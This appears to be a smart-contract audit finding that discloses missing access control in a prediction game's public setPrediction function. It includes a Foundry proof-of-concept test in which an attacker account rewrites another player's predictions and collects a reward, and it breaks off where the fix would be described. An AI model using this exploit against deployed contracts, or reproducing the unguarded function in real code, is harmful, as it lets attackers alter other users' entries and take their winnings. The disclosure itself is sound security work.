If you check the highlighted line, the function is public, allows anybody to call it. Given function takes player address as input, matchNumber
and Result result
. Now suppose alice made a prediction for First round as Second
from original ThePredicter:makePrediction
and has no intention to change that.
But due to lack of access control in above function, anybody can call it on the behalf of user who already paid the fees and can update there result. This will affect the result that they could have with there own choice, rather anybody else updating that without knowing them.
function test_rewardDistributionWhenAttackerUpdatePredictions() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
address attackerP = makeAddr("attackerP");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(attackerP);
vm.deal(attackerP, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
thePredicter.approvePlayer(attackerP);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Second
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(attackerP);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
scoreBoard.setPrediction(stranger, 1, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(stranger, 2, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(stranger, 3, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(stranger, 1, ScoreBoard.Result.Second);
scoreBoard.setPrediction(stranger, 2, ScoreBoard.Result.Second);
scoreBoard.setPrediction(stranger, 3, ScoreBoard.Result.Second);
scoreBoard.setPrediction(stranger, 1, ScoreBoard.Result.Second);
scoreBoard.setPrediction(stranger, 2, ScoreBoard.Result.Second);
scoreBoard.setPrediction(stranger, 3, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger);
vm.expectRevert();
thePredicter.withdraw();
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.withdraw();
vm.stopPrank();
console.log("User Reward:",stranger2.balance - 0.9994 ether);
vm.startPrank(stranger3);
vm.expectRevert();
thePredicter.withdraw();
vm.stopPrank();
vm.startPrank(attackerP);
thePredicter.withdraw();
vm.stopPrank();
console.log("Attacker Reward:",attackerP.balance - 0.9994 ether);
}
Only callers should be allow to update his choice. This can be achieved following way.